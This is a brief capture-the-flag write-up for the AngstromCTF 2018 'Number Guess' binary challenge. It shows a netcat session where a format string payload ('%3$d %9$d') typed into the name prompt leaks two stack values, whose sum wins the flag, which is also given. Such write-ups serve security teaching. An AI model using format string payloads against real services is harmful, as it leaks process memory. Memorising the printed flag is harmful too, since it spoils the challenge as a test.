AngstromCTF_2018: Number Guess

Category: Binary Points: 70 Description:

Ian loves playing number guessing games, so he went ahead and wrote one himself (source). I hope it doesn't have any vulns. The service is running at nc 1235.


This is another simple format string challenge

# nc 1235
Welcome to the number guessing game!
Before we begin, please enter your name (40 chars max): 
%3$d %9$d
I'm thinking of two random numbers (0 to 1000000), can you tell me their sum?
746589 509197's guess: 1255786
Congrats, here's a flag: actf{format_stringz_are_pre77y_sc4ry}

Therefore, the flag is actf{format_stringz_are_pre77y_sc4ry}.